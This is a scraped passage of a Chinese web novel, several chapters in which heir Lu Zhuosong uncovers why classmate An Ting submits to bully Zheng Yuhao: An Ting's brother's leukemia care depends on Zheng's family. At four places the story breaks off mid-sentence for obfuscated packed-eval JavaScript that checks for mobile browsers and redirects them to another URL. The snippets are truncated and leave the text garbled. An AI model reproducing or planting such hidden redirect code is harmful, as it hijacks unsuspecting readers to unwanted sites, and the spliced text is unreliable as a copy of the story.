李远驰唉声叹气地说完话,转身就要走了,可刚有个动作,就被陆灼颂一把拽了回来。 小陆同学力气不小,又拽得突然,李远驰呜嗷一声,回身时猛地一踉跄。 一回头,他对上陆灼颂的眼睛。 落阳照在里面,他眼里杀人般的愤怒清晰无比。 李远驰一惊,懵在原地。 陆灼颂拽着他的手腕,深呼吸了一大口气。 他闭上眼,竭尽全力冷静下来。再睁开眼,眼里的愤怒平息了些许。 “……安庭。” 他盯着地面,盯着地上他们长长的影子。喃喃了安庭的名字后,重新抬起了眼,声音发沉了好些,“安庭,怎么惹到那个混蛋的。” 你问这个干什么? 李远驰莫名其妙,只想反问这句话。毕竟陆灼颂是才转学过来第一天的转学生,跟安庭又没什么关系。 话都到嘴边了,可他一望见陆灼颂那双平静却锐利的眼睛,又一下子失声了。 “……” 李远驰张着嘴哑了片刻,终于抿了抿嘴,朝旁边的小路上撇撇头,“这边来。” * “也不知道安庭是怎么惹上的。” 沿着小路往里面走了些,李远驰带着陆灼颂走进学校最西边的一道高墙旁。 高墙上爬满了爬山虎,仨人或蹲或站地躲在墙里面,吹着空旷的小风。正是放学时间,这条小路上空无一人。 李远驰从包里拿出一盒盒装牛奶,边嗦着吸管边说:“咱是高一,才刚开学没一个月,其实大家都还不太熟。但是新城这一片,初中就那么几所,高中也就那么几个,所以互相认识的挺多,好多都是一起考过来的。” “我跟安庭初中就认识,同班了两年,但我不认识郑玉浩。大少爷的初中,好像是在别的学校上的。” “不过安庭好像认识他,放学的时候,郑玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885924|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浩经常来校门口找他。每回一找完,第二天,安庭就会脸上带伤地来上学。” “他好像被姓郑的欺负很久了,不知道到底怎么回事,谁问他他也不说。我自打初二那年认识他开始,他就一直受着,也不告诉老师,他爸妈好像也不管。” “我也不知道他怎么惹到人的,一个外校的,还惹的人家放了学就来堵他。” 陆灼颂没做声,脸上的神色还是那样平静而锐利。他目视前方,看着校园里的紫藤花沉默地低垂着,正随风轻轻摆动。 李远驰看了他一会儿,劝了句:“兄弟,你要是单纯看他可怜的话,最好算了吧,他也不会领你的情。” 一听这话,陈诀就叼着根百奇附和:“没错,没错,你看早上你帮他的时候,他怎么对你的。” “就是,你也不是第一个了。”李远驰也说,“之前也有人想帮他,说权力就算再大,只要往上写个举报信什么的,说不准有用。结果刚冒出个头,骂了一句郑玉浩,安庭就不干了,站起来就护着郑玉浩,还说那哥们多管闲事,生了特别大的气。” 陈诀听得呆了:“我擦,他有病啊——哎!” 陆灼颂抬腿就给了他一脚。 陈诀往前一趴,差点跪下。他无辜地捂捂屁股,抬起头,就被陆灼颂又狠狠瞪了一眼。 陈诀缩缩脖子,看不懂他家二少了,自己这明明是在给他说话。 “他说不准真有病呢,我看安庭是斯德哥尔摩了。”李远驰咬着吸管,把最后只剩下一点的牛奶嗦得哗哗响,看着陆灼颂说,“脑子要是正常,他会跟霸凌者谈恋爱?” 陆灼颂转头:“谈什么?” “谈恋爱啊。”李远驰一脸无辜,“安庭还答应跟郑玉浩谈恋爱了,人家是郑少男朋友。” “他俩都好两年了。” 陆灼颂一下子垮了——他那张一直冷静自持,不管听到什么都极其平静的脸,瞬间四分五裂,全面崩塌,失去一切表情管理,且极速红温成樱桃炸弹。 他声嘶力竭地咆哮出来: “好两年了!?!?!” 李远驰被他吓得一激灵,手里的牛奶一挤,从吸管里飞出来一道漂亮的白色弧线。 陆灼颂一下子从墙边上直起身来,往前咚咚走了两步,一回头,整张脸扭曲的像火爆辣椒,失去人形般地怒吼: “男朋友?他是安庭男朋友!那我是什么东西!一觉起来原配变小三吗!啊!?” 李远驰:“……?” 陈诀:“?” “见鬼了个锤子的,他不是说我是他的初恋吗!不是这辈子只爱过我一个吗!23年那次他特意包了节目组所有费用,带我去的冰岛,在极光底下跟我告白发誓的!后来还花了大钱打的孤品对戒,说要跟我结婚!搞毛!?一直是骗我的是吗?!” “我是小三啊!我操!哈哈哈哈哈!我是小三!” 陆灼颂伸手抓住自己头发,疯了似的扯着头发往外拽,又癫了一样在原地踉踉跄跄几步,仰天大笑,“老子被骗了啊!” 陈诀小心翼翼地伸出手:“二……不是,老大?” “操!!!”陆灼颂又咆哮。 陈诀爪子一哆嗦,墩地坐回去了。 陆灼颂持续咆哮:“亏老子一回来就跑过来了,私人飞机都来不及申请!我你爹的放着纽约不去、伦敦不去、多伦多不去,放着那么多上门来发录取的海外贵族学校不去!” “我大老远跑到这么个破地儿,就为了他才来上这个傻.逼公立高中!他对得起我吗!安庭!你知道老子已经八百年都没有五点半起过床了吗!我还为了你他奶奶的从山上跳下来了,连你的骨灰都是我扬的!那死卷毛管你鸡毛事情了!?” “他还跟你爸妈在一起祸害你!你那破葬礼,他们都在全程办直播!你死了以后他老开心了!狗屎!!” “结果我是小三!我是陆家二少啊,我现在是小三!你睡我那么多次,我是小三!!” “你这个爱情骗子!”陆灼颂大展双臂,朝天大吼,“天打雷劈吧你,安世美!!” 骂完,陆灼颂顿时像浑身力气都被抽干似的瘫软了。他垂下双手,气喘吁吁地晃悠着地后退两步。须臾,又深吸一口气,再次面向天空,不甘又癫狂地在血红的落日阳光里大笑起来:“哈哈哈……哈哈哈哈哈哈!!” 像个活疯子。 李远驰:“……” 李远驰一动不敢动。片刻,他才扭过半个脑袋,震惊无比地悄声问陈诀:“你兄弟,有癔症啊?” 陈诀瞳孔地震地睨他一眼,没敢吭声。 陆灼颂笑得更癫狂了。 17.斯德哥尔摩2 太阳落山,夜幕将要四合。 最后一缕残阳,奄奄一息地落在天边。 新润一号,四号楼,六单元,301。 陈诀打开窗户,趴在窗台上,孤寂地望着远处,看见那天边掠过了一排飞鸟。 秋风瑟瑟,小陈同学也颇为风中凌乱。 家里一片死寂,陈诀往对面的楼看了一眼。对面二楼的卧室窗户边上,那个病号还躺在那儿。那货打周六回来就躺在那儿了,今天早上上学出门前,他也躺在那张躺椅上。瞅着年纪轻轻的,也不知道是什么病。 陈诀呼了口气出来,回头望了一眼。 陆灼颂也躺在床上。 他趴在那儿,用被子把自己裹成了一个巨大的毛团子,一言不发地散发着低气压。 打二十分钟前从学校出来,他就一直这个状态。 “二少,”陈诀说,“干嘛心情这么不好,你真看上人家了?” “滚。”陆灼颂说。 他声音哑得很可怕。 “在学校大喊大叫半天,你嗓子都哑了。”陈诀走向厨房,“我去给你煮蜂蜜水,一会儿喝点吧。” 陆灼颂没吭声。 陈诀煮上热水,备好蜂蜜,又走回来了。 他趴在窗台上,重新往外头一看,在对面单元楼下看见一个熟悉的身影。 “噢哟,”陈诀惊呼,“那个叫安庭的在下面诶,二少,我去!他居然就住咱们对面!” 这名字一出,陆灼颂立马又炸了:“滚啊!!” “行行行,我不说了。” 陆灼颂把被子一抓,嘟嘟囔囔地骂骂咧咧几句,把自己裹得更紧了。 他骂得有点搞笑,陈诀哭笑不得了会儿,又望向窗户外头。对面楼下,那个叫安庭的,正在步子缓慢地往里走。 他看起来又被折腾得够呛,不知道是被那个卷毛怎么了,浑身都脏兮兮的,弯着后背低着脑袋,好像疼得直不起身来,就那么佝偻着,一步一步慢慢往前挪。 他外套都被扯乱了,身上脸上全是泥。 贴在脸上的那块贴布好像也被扯下来了,露出了底下的皮肤。不过离得太远,陈诀看不清具体模样。 看着实在很可怜,陈诀坐在窗台前托着腮,突然有点讨厌不起来这人了。 “他回家了没?” 背后突然冒出陆灼颂的声音。陈诀讶异地回过头,见他并没动,还是待在床上当毛毛虫。 “他回家了没。”陆灼颂又闷闷问了一遍。 “哦哦,刚进单元。”陈诀说。 陆灼颂哼唧一声,没再多问。 他看起来也不是那么抗拒,陈诀想想班长今天说的话,就大着胆子叹道:“不过怎么说呢,这人还真是,又可怜又可恨。” “被欺负的都斯德哥尔摩了,也没办法吧。那群权势把他压着打,谁都帮不了,他脑子被打出问题也在所难免。” “他也只能斯德哥尔摩了,只有这样才能面对现实。”陈诀说,“得骗骗自己,不然就要崩溃疯掉了,过得太压抑了。” “他自己估计都没觉得,自己是在被欺负。” 话落,陆灼颂指尖突然抽搐地一动。 陈诀一无所知,他看着安庭走进去的那个漆黑的单元口,怅然地继续感叹:“被打压的日子只能一直过,要不然就去死。他肯定不想死,就只能当人家是喜欢他才这样……” “不对。” 嗖的一下,陆灼颂突然从被子里直挺挺地坐了起来。 陈诀吓了一跳。 被子从陆灼颂头上滑落下去,露出一颗毛茸茸的乌色脑袋。 “二少?”陈诀说,“什……” “不对。”陆灼颂打断了他,“不对,他不是这种人。” 陈诀迷茫地眨巴眨巴眼。 陆灼颂两眼发怔发直,直勾勾地盯着床单发皱的一角。异样的违和感终于浑厚沉重地从心底里沉甸甸地升起,警钟似的,重重地震聋回响。 三年前的往事浮现眼前,他看见安庭的脸,听见他说的一句又一句的话。 昏暗的房间,连绵的阴雨,火烧的两辆车,床头上卷巴巴的一沓子死亡通知书。陆灼颂看见安庭愤怒的双眼,看见他双唇开开合合,说着什么。 坐起来。 【坐起来。】 难道你真的想死吗。 【难道你真的想死吗。】 陆少。 【陆少。】 你想让那群人高高兴兴地吃你绝户吗。 【你是真的想让那群畜生高高兴兴地把你家吃绝户吗。】安庭看着他,【陈诀要白死了。】 【你必须活着。】 【找证据去,不然所有人都是白死。】他说,【你还活着,就还没输。你唱这么多年摇滚,反叛精神喊了这么多年,就为了最后被欺负得自杀吗。】 咚。 咚。 “他怎么可能……斯德哥尔摩,”陆灼颂喃喃,“他不是,他不可能斯德哥尔摩。” “他绝对不是斯德哥尔摩。” “他如果是斯德哥尔摩,那时候就不会……” 不会什么? 陆灼颂没说,话说到一半,他就深吸了一口气,后面的话全都给咽了下去。 陈诀发懵地看着他。他完全不知道怎么回事,但他感觉到陆灼颂整个人都突然变得无比沉重。 “那就说不通了。”陆灼颂又说。 陈诀持续懵逼:“什么说不通?” “他没有斯德哥尔摩的话,为什么答应那卷毛?” 陆灼颂自言自语完,就猛地清醒过来,骤然拧过头。 他脸色青白得可怕,瞳孔都缩小了好几圈,像突然明白了什么毛骨悚然的事实。 陈诀被他瞪得后脊骨一麻,一动不敢动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892040|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆灼颂一把掀开被子,跳下了床,指着他大叫:“给周秘打电话!” “啊?” “打!”陆灼颂喊,“安庭没骗我!快打!” * 周秘是陆氏财阀秘书部的员工之一。 陆氏财阀如此庞大,秘书必不可能只有几个。秘书部也是财阀的重要部门之一,其中员工不下百人。 而周秘——周清女士,她在秘书部的工作,主要是照顾好陆氏二少陆灼颂的一切事宜,帮他处理日常生活起居必要的手续,以及其他杂七杂八的事儿。 比如前些天二少突然要去新城,就是谷管家给她打的电话,机票由她来定。 再比如前天二少突然要住老破小,她立刻打电话到新润集团,叫去了那位王经理。 又比如现在,二少有了新的需求。 “郑玉浩?” 周女士刚下班。海城的光明路街头,她顶着一个清秀的法式芭比卷毛脑袋,手里拿着一份三百块的牛油果沙拉,优哉游哉地打了个哈欠,在红绿灯前扶了扶银制的方框眼镜,“请问这个郑玉浩是怎么了,二少?” “你不用管怎么了,明天先给我查他家是干什么的。”陆灼颂说。 “二少,你查情报是要有具体理由的,怎么能无缘无故就查人家。再说,陆总做事是要求条理的,秘书部所有记录都是……对了,你查这个郑玉浩,陆总知道吗?” “哦,要对她保密。” 周秘求饶:“什么保密呀,二少,没法保密的,财阀的电脑后台都有监控的。” 陆灼颂改口:“那不保密也行。” “……” 周秘服了,陆灼颂真是一如既往地随心所欲。 要我说,陆总就不该把二少送去美国,你看看,七八岁就往那边送,现在才回来,老美直接把他定型了!好好一个少爷这被搞的——周秘悄悄在心里大吐特吐。 “总之,帮我查查他家怎么样,听说是开金融公司的。这个金融公司倒不重要,我要知道的只有一件事。” 周秘问:“什么?” 陆灼颂拿着手机,站在窗台前。天已经彻底黑了,他深深地望着对面二楼。 对面的卧室里,那个瘦得像骷髅似的白血病病号坐在躺椅上,正眉眼弯弯,手捧着一碗热羹,和一个女人说说笑笑。 陆灼颂眯起眼,眼底里一片讳莫如深。 他开口:“我要,那家公司的——” 风声呼啸。 陆灼颂交代完事情,挂了电话。 他把两手插进校服裤子的口袋里,沉默地站在窗前,望着那母子情深的一幕,胃里一阵反酸,恶心得想吐。 如果是这样,那就真的太恶心了。 那命运这东西真的太恶心了。十七岁的孩子,能被四面八方的、造化弄人的恶意裹挟成这样。 那真的……太恶心了。 18.斯德哥尔摩3 第二天。 老旧的小区门口空空荡荡。 红毛不在。 安庭揉揉锁骨上的一道口子,松了口气。 他低眸扫了眼地上的路,心不在焉地没什么感想,只揉揉作痛的肩头,上学去了。 一大清早,校门口还是熙攘。安庭一进教室,就看见郑玉浩坐在窗台上,正和孙野及刘鹏两个跟班嘻嘻哈哈,咔吱咔吱地磕了一地的瓜子皮。值日生不敢言语,只低着头都给扫了,一声没吭。 安庭坐到了自己的座位上。今早少见地没出什么幺蛾子,他的座位完整无缺地待在原地。 可能是郑玉浩昨晚挺过瘾。 安庭昨天被他带去了学校附近的一个小市场里,然后就被一脚踹进了里面的垃圾站中。那里头全是厨余垃圾。残羹剩饭,削下的果皮,乱七八糟堆在一起,腐臭刺鼻。 食物一堆起来,整个垃圾站都滑溜溜的。安庭在里头挣扎着站起来几次都没成,狼狈地摔了好几跤,还被一道铁丝在锁骨上划了个口子。 大少爷站在外围,欣赏了很久他这狼狈模样,捏着鼻子拍了好几张照,笑得尤其开心,估计是过瘾了。 难得安稳的一个早上,安庭放下书包,就趴在桌子上,眯了一会儿。 再醒来的时候,是上早读了。郑玉浩坐了回来,把他不由分说地往里一挤。 安庭睡眼惺忪地坐起身,看见他满怀恶意、还颇为期待的表情,便神色一苦,艰涩地朝他一笑。 “轻一点好吗?”他求饶说,“昨天真的很痛,家里又不给我洗热水澡。” 郑玉浩哈的一声,一脸的痛快:“很疼啊?” 安庭点点头。 “疼就对了,”郑玉浩摸摸下巴,斜斜笑着,一脸意味深长,“看我心情吧,我想想今天要怎么玩你。” “好吧。” 安庭顺从地在墙角缩起身。 他讨好地笑着,半低下头,才看见自己指尖又在神经质地发抖,指甲不知什么时候也抠在了手指上,抠得已经破皮,皮肉都生疼。 安庭抽了抽还在带笑的嘴角,把两手悄悄握在一起,安抚自己似的,轻柔地搓了两下。 一阵视线突然射来,他抬头望去,就看见教室中央那块儿,红毛正侧着身,望着他。 目光如炬,剑眉轻拧。 好似对他不满。 安庭不明所以,别开了脸。 一天的课下来,红毛还是时不时地看他几眼。 安庭一开始会对视一下,后来头都懒得抬了。郑玉浩倒是总“嚯”几声,说:“那姓陆的总看我啊。” 看的多半不是你。 安庭知道,但没吭声。他靠在墙上,把语文书翻了几页,挑着看了几篇课文。 “还是得抽空揍他一顿,”郑玉浩哼哼几声,“还敢瞪你爷爷我了。” 安庭捏着书页的指尖一顿,须臾,把边角搓了两下,就神色如常地翻了一页过去,好似什么都没想。 但这天放学后,郑玉浩还是没能堵到红毛。红毛不知道从哪儿走的,总之郑玉浩连着两天都没抓到人——他昨天也在门口埋伏了。 郑玉浩气的不行,把红毛的祖宗问候了一遍,又拽着安庭揍了一顿。 安庭已经习惯,一声不吭地挨了。 第二天上学,安庭脸上多了块淤青,也多了块贴布。 小区门口依然没看见红毛,郑玉浩也依然在教室里和两个小弟笑着扯皮。红毛来了之后,又往他这边频频投了几次视线,安庭也依然没理。 上午,上完两节课,到了大课间的时间。去操场做完操,还剩下十多分钟。 安庭被郑玉浩拉着去了厕所。 郑少要去跟两个小弟抽烟,安庭被强拉过去陪着。 “妈的,陆灼颂那死傻.逼。” 郑玉浩蹲在地上,一边吞云吐雾一边骂骂咧咧,“昨天居然没蹲到,前天也没蹲到!” “就是,操了,那小白脸几把到底从哪儿走的?”高高瘦瘦的孙野也附和地骂骂咧咧,“浩哥上礼拜五发红包找人来凑的局,开始还没一会儿呢,那死玩意儿全给打了一顿!局没开成不说,还害得浩哥又赔了不少医药费!” “去去,那点儿钱算鸡毛。”郑玉浩挥挥手里的烟。 “浩哥你当然不缺钱啊,但这事儿能这么算了吗?”胖乎乎的刘鹏愤慨极了,“你的钱也是钱,那傻.逼糟蹋了你的钱,就必须得还!他别想就这么翻篇,还钱!” “那也是。” 刘鹏这话说得郑玉浩心花怒放,他嘴角压不住地笑,“行!今天哥几个必须把那狗日的堵到!我今天就跟在他后边走了,我看看他要去哪儿。” “可以啊!浩哥聪明!这法儿好,保他跑不了。”刘鹏笑嘻嘻的。 安庭站在厕所门边上,被飘出来的烟味儿呛得咳嗽了两声,往外望着——他是负责给这群人放风的。 他一咳嗽,郑玉浩不吭声了。 郑同学把烟夹在两指之间,扭过脑袋,呼出一口烟,盯着安庭的脸看了一会儿。 烟气朦胧间,安庭站在厕所边上,一半身子照着走廊上的阳光,一半陷在厕所的昏暗里。几缕发丝垂在惨白的脸边,他眼睛里被呛得发红,细长的手指穿过发丝,按着耳下的下颌,咳得瘦弱的肩膀都跟着耸了几下。 郑玉浩噗嗤一笑。 他最后猛吸了一口手里的烟,随即毫不留情地掐灭。随手把烟屁股一扔,他站起来,走到安庭旁边。 安庭还捂着嘴在咳嗽。 郑玉浩走到他面前,把手放到他脖子上,掐紧。 安庭惊得剧烈一震,往后一缩,眼里一片恐惧。 郑玉浩哈哈一笑,收起手:“逗你玩呢,瞧你吓的。” 安庭抿抿嘴,一脸可怜兮兮的心有余悸。他眼神闪烁地看了郑玉浩一眼,又低下脑袋去,不敢和他对视。 郑玉浩最吃这套,一看他在自己的威压之下委屈得都不敢吭声,乐了,拉起他的手,十指相扣地搓了两下,一脸怜惜:“行了,不就碰了你一下吗,好像我欺负你似的。” 安庭的神色有所缓和,但手指僵硬,直挺挺地绷紧着,怎么都不肯跟他十指相扣,一阵阵发抖。 郑玉浩哈哈笑了声:“怕成这样啊?别怕我,我不是你男朋友吗。” 话毕,郑玉浩松开了他,伸手往他肩膀上重重揍了一拳头。 安庭吃痛地一闭眼。 “走啦!” 郑玉浩心满意足地转身就走,孙野和刘鹏俩人赶紧掐了烟就跟上。 安庭揉着刚被打的地方,哑声说:“你先走吧,我去个厕所。” “哦。” 郑玉浩头也不回地挥挥手,直接走人了,他从来不等安庭。 另外俩人跟着他一起离开。仨人潇洒地走出厕所,混进回班的人群中,一眨眼就不见了。 一瞬,安庭冷下了脸。他双眉一压,阴着面色走回厕所里,拉下半边校服领子,几步冲到洗手台前,将水龙头一把拍开,拧到了最大,冷水。 他把刚刚被碰了的手按到水里,猛搓好几下,往手心里挤了足足五六泵消毒洗手液。手上泡沫还没洗完,他又烦躁地一捧冷水扑到脖子上。一截干净瘦弱的脖颈,没一会儿就被搓成个全红。 他咬牙咬得嘴巴里都咯咯响。 碰的一声,男厕所里突然传出门被踢开的声音。 安庭搓脖子的手一顿。 “2020年,飞鸟电影节最佳新人男演员金奖,金象电影节最佳配角金奖,金白羊断层第一潜力演员。” “2021年,中国影视最佳男主角,全界影帝,桃李电视节潜力金奖,国际白木樨金奖影帝。” “22年意大利金罗马电影节影帝,美国小金人提名——” 念到此处,伴着哒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆灼颂在他面前停下,叫了他的名字后,又声音一顿。好像接下来的话难以启齿,又好像会太过沉重或尖锐,他就这么一声不吭地沉默了下来,只拧着双眉,面色复杂地望着他瘦削的脸。 喉结滚动几下,过了好半天,陆灼颂才叹息一声:“庭哥……你就过的这种日子吗。” 又什么日子了? 他知道什么,在这儿演什么!? 安庭只觉莫名其妙,烦躁地想张嘴骂他,陆灼颂却先一步又开口:“哥哥白血病,你是他的骨髓库。你已经做了二十四次移植手术,可没人关心你疼不疼。你哥厌恶你,在家里欺负你;到了学校,那个郑玉浩也欺负你。在家就算了,你在学校也孤立无援,老师不敢管,父母也不关心你。” “因为对方是你哥的白血病的资助人,和私人主刀医师的儿子。” 上课铃声突然响起。 很大的声音,噔噔咚咚。 噔、噔、咚、咚。 安庭站在厕所门口,浑身上下骤然沉寂。他脖子发红,全身发冷,搓了冷水的双手抖得毫无知觉,好像真的活活掉了一层皮。 他怔怔望着眼前,突然一口气都喘不上来了,突然什么都看不清了,眼睛里忽远忽近的全是雾,浑身的骨头一动都无法动。 上课铃声还在响,很响的声音,从未如此振聋发聩,带得他胸腔里都响,身上所有的毛细血管都在跟着咚咚地跳。 半晌,铃声停了,安庭终于取回一些意识和知觉。 四面八方全都一片死寂,他僵硬地抬头,僵硬地抬起双眸,再次望向陆灼颂。 这人站在他面前不远处,依然是那双眉眼。 愤怒,懊悔。 和心疼。 19.放不下 安庭张了张嘴,喉咙里却发不出声音。 “……你怎么,”好半晌,他冻红的指尖一动,终于可以出声,“你怎么,知道的。” 他声音嘶哑得厉害。 声音哑得太不像样,像泡了十多年发霉的雨水。陆灼颂的脸色更难看了,视线中又多了几分心疼。 “所以你没办法拒绝。”陆灼颂声音沉静。 “……” “他父亲是你哥白血病的捐款人,他母亲是一家私人医院的医生,正好专攻白血病。那家医院的院长,和他父亲也有关系。” “那家私人医院,他父亲投了40%的股份。” “所以你才会给你哥做了二十多次移植。”陆灼颂说,“一般的医院,要做骨髓移植,不可能让同一个人在短时间进行这么多次。身体评估,风险评估,什么都要来一遍。” “有他家资助和医院背景,你哥才能做这么多次手术,你也才能做这么多次移植。所以你也没法拒绝郑玉浩的任何要求,也没办法接受别人帮你。” “就算在学校里帮了你,他一个不高兴,就可以让父母断供给你家的捐助。” “到时候,你一样死。”陆灼颂看着他,“没人会允许你拒绝。” 安庭愣在原地。 他张张嘴,又发不出声音了,喉咙里像卡了块被火烧得滚烫的铁,烫得有话说不出。 他呆呆立在原地,眼前突然酸得涨疼。 陆灼颂叹了口气,从校服的外套兜里掏出一方帕子,朝他走了过来。 他把帕子塞进他手里,仰头说:“别哭啊。” 哭? 谁哭了? 一抹湿漉漉的液体从脸颊上滑落下来。 安庭伸手一摸,指尖上是一抹水。他愣了须臾,脸上又接连落下不少眼泪。 是他哭了。 安庭才反应过来。他慌忙抹了两下脸,可眼泪汹涌至极,擦了又落。心里的委屈突然也倾泻而出,完全收不住,他抹个不停,怎么都擦不干眼泪,反而受不住地哽咽出几声来。 真的太狼狈了,他立刻转身,逃似的快步离开。 “庭哥!”陆灼颂跟上来了几步。 “别跟着我!” 安庭朝他吼。 吼完一瞬,后悔突然冲上心头。被眼泪浸湿的视线里,他看见陆灼颂陡然停下,朝他伸出的手无措地收了回去,再也没有动作。 两人面对面地僵了片刻。 安庭回过身,匆匆地跑走。 推开走廊上的门,他冲出教学楼。 * 学校里半个人影都没有。 刚打了第三节课的铃声,所有人都在上课。安庭找了个角落一坐,缩成一团,沉默地流了半天泪。 他没出声,只是捂着双眼流泪。 过了不知多久,心情才平复了些许。 他揉揉心口,暗暗长出了一口气。忽然,一阵脚步声,由远及近地走了过来。 安庭捂着眼睛没抬头,脚步却越来越近,最后在他面前停下。 “怎么躲在这里哭。” 熟悉的声音。 安庭悄悄挪开手指,睁开通红的双眼。还是看不太清,于是他又眨了几下眼,才依稀看清来人。 又是陆灼颂。 陆灼颂手上拎着个袋子,在他跟前蹲下,又从兜里拿出包纸巾。 他从里面抽出张纸,说:“哭一哭也好,这种破日子,总不哭会疯的。” 一张纸递了过来。 “不要。”安庭哑声说。 “不要什么,领子都哭湿了。”陆灼颂往他跟前递,“又不是买你命的东西,拿着。” 安庭还是没动。 他用手擦擦没哭完的眼泪,低头吸吸鼻子,垂眸说:“用不着,拿走。” “嘿,你还挺倔的,真看不出来。”陆灼颂直接把纸塞进他手里,“怎么跟我当时一样,怪不得对我耐心那么多。” 安庭:“……” 安庭把纸丢了回去。 “不要,”他倔倔的,“我也听不懂你说什么,你认错人了。” “才没认错。行了你,别撑了,我没你想的那么脆弱,我家也没有。”陆灼颂说,“放心吧,就他家那小本生意,连我一根头发丝儿都削不到。” “我是来帮你的,庭哥。” 安庭沉默地抬头望。 陆灼颂蹲坐在他面前,光鲜亮丽的一张脸。教学楼后身的阴暗一隅,半点儿阳光都照不到,他湛蓝的眼睛里却依然亮着惊人的光,带着意气风发的傲气。 “我能帮你。”他说,“要是再推开我,我就跟你一块哭了。” “……” 陆灼颂又把纸递了过来。 安庭沉默须臾,终于伸手接过。 他把纸拿在手心里,攥成一团,哑声说:“你帮不了我。” 陆灼颂嗤一声笑了,把手里的袋子拿了出来:“我家是陆氏财阀。” 安庭没吭声,看智障似的看了他几眼。 陆灼颂一挑眉:“不信啊?” 安庭点点头。 “我就知道不会信。”陆灼颂嘟囔了句,也没多坚持,往地上盘腿一坐,打开袋子,从里面拿出个布丁来,递给他,“喏。” “不要。” “嘶。”陆灼颂狠狠一瞪他,“我刚说什么了!” 他说“再推开我我就跟你一块哭了”。 安庭低下眼帘,还是倔:“不要。” “操。”陆灼颂骂了一句,“我真哭给你看啊!” “随便你。拿走,我不吃。”安庭两手攥住他给的纸,神经质地把纸撕成一条又一条,“你既然都知道了,那就别插手。反正……——!?” 突如其来的一勺子,一下子塞进了他嘴里。安庭吓了一跳,一个激灵坐起身。 一坐起来,他就看见陆灼颂笑嘻嘻地松开了手。而他嘴里,多出了个塑料勺子,还有一勺子柔软的食物。 下一秒,一股焦糖的甜味儿在安庭嘴里蔓延开。 安庭愣住了。他一低头,才看见陆灼颂手里有个开了盒的布丁,布丁里已经被挖了一勺。 甜味儿在嘴巴里要命地蔓延。 “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他听见自己喘气,心脏像被人紧攥着似的上不来气。他看见昏暗的房间,看见远处的窗户大开着,深夜的冷风吹得窗帘尖叫。有大片大片的血砸进洗手池里,他伸手去抹鼻子,却怎么都止不住血。他两手在控制不住地抽搐,头晕眼花地看不清眼前。 他好像握着什么,手里好像握着个手机,在录音。 【我放不下你。】他听见自己说,声音抖得像在哭,【我什么都放得下,什么都无所谓,不想管……】 【……可只有你,阿灼。】 【我只放不下你。】 【……阿灼,去给别人,唱个新歌吧。】 “哎!” 安庭一震。 他回过神,一抬头,陆灼颂正拿着左手在他面前晃。 “干什么,吃个布丁都能发呆。”陆灼颂坐了回去,“那么好吃啊?” 安庭没吭声。 他低头看看手里还剩一半的布丁,突然食不知味,兴趣全无。 把勺子一放,他把布丁丢进了旁边的垃圾桶里,站了起来。 “我走了。”他说,“你回去上课吧。” 20.胶卷02 安庭说完就转身走了。 走出去还没几步,他听见后头传来从地上爬起来的窸窣声响,然后是一阵脚步声。 陆灼颂果然又跟上来了,几步就跑到他身后:“那一起走啊,你也回教室吧?” “我不回。”安庭说。 “诶?” 脚步声在身后停下。 安庭又往前走了些许,才停下身,转过头。 陆灼颂停在他身后稍远的地方,不解地看着他。 “我回家了。”安庭说,“今天不想上了,别跟着我。” “那我也不上了,我跟你回家吧。” “我都说了,别跟着我。”安庭说,“你让我一个人待会儿。” 安庭说这话时,脸上泪痕还在,眼睛也通红,泪还没流干。 陆灼颂忽然僵在原地。 神色对着安庭这边又欲言又止几下,陆灼颂却再没说出一句话。他又是那副心疼懊悔的表情,安庭心里累得有心无力,再生不出什么想法。 他转身走了,陆灼颂没再跟上来。 “安庭,”陆灼颂最后还是说,“我会帮你的,你别怕。” 安庭脚步一顿。 也只是一顿而已,他旋即又往外走。 从学校外墙慢吞吞地翻墙出去,安庭心思游离,下去的时候一不小心踩了个空,直接整个人摔了下去。他干脆趴在地上一动不动,头也不抬地死了几分钟,等身上好些了,才重新爬了起来。 拍拍身上的灰,他回家去了。 正好到了中午,是饭点。 家里边开着火,厨房里咚咚锵锵地在忙。 他妈张霞正在咚咚地切肉,上了年纪的油烟机哇哇大叫地工作着。声音太大,她没听见门口的动静。 安庭开了门又关上门,张霞头都没回一个。 他哥倒是出来了。安庭脱了鞋,再一抬头,就看见他哥从南卧里探出一张皮包骨头的瘦脸,有些讶异地望着他。 这病秧子咳嗽几声,问他:“怎么回来了?” 安庭没回话,低着脑袋往杂物间去。 把杂物间的门关了大半,他就听见他哥开始叫:“妈,妈。” 